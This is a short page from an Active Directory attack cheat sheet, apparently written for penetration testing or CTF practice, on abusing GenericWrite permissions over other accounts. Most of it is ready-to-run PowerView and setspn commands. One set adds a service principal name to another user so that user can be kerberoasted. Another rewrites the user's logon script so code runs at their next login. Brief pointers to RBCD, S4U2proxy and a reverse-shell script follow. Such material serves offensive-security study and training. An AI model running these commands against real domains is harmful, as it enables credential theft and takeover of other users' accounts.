GenericWrite

User has GenericWrite over another user

To abuse GenericWrite, we have 2 options.

  • We can set a service principal name and we can kerberoast that account.

  • We can set objects like logon script which would get executed on the next time account logs in.

Setting SPN,

Import-Module .\Powerview.ps1
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword)

Set-DomainObject -Credential $Cred -Identity maria -SET @{serviceprincipalname='foobar/xd'}

or by simply,

setspn -a object.local/maria.object.local:1337 object.local\maria

Changing logon script,

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword)

cd C:\\Windows\\System32\\spool\\drivers\\color
echo 'whoami > C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > foo.ps1

Set-DomainObject -Credential $Cred -Identity maria -SET @{scriptpath='C:\\Windows\\System32\\spool\\drivers\\color\\foo.ps1'}

User / Computer has GenericWrite over computer

RBCD

x.ps1 has a reverse shell

or after setting up the domain object you can s4u2 proxy locally

PreviousWriteDaclNextForceChangePassword

Last updated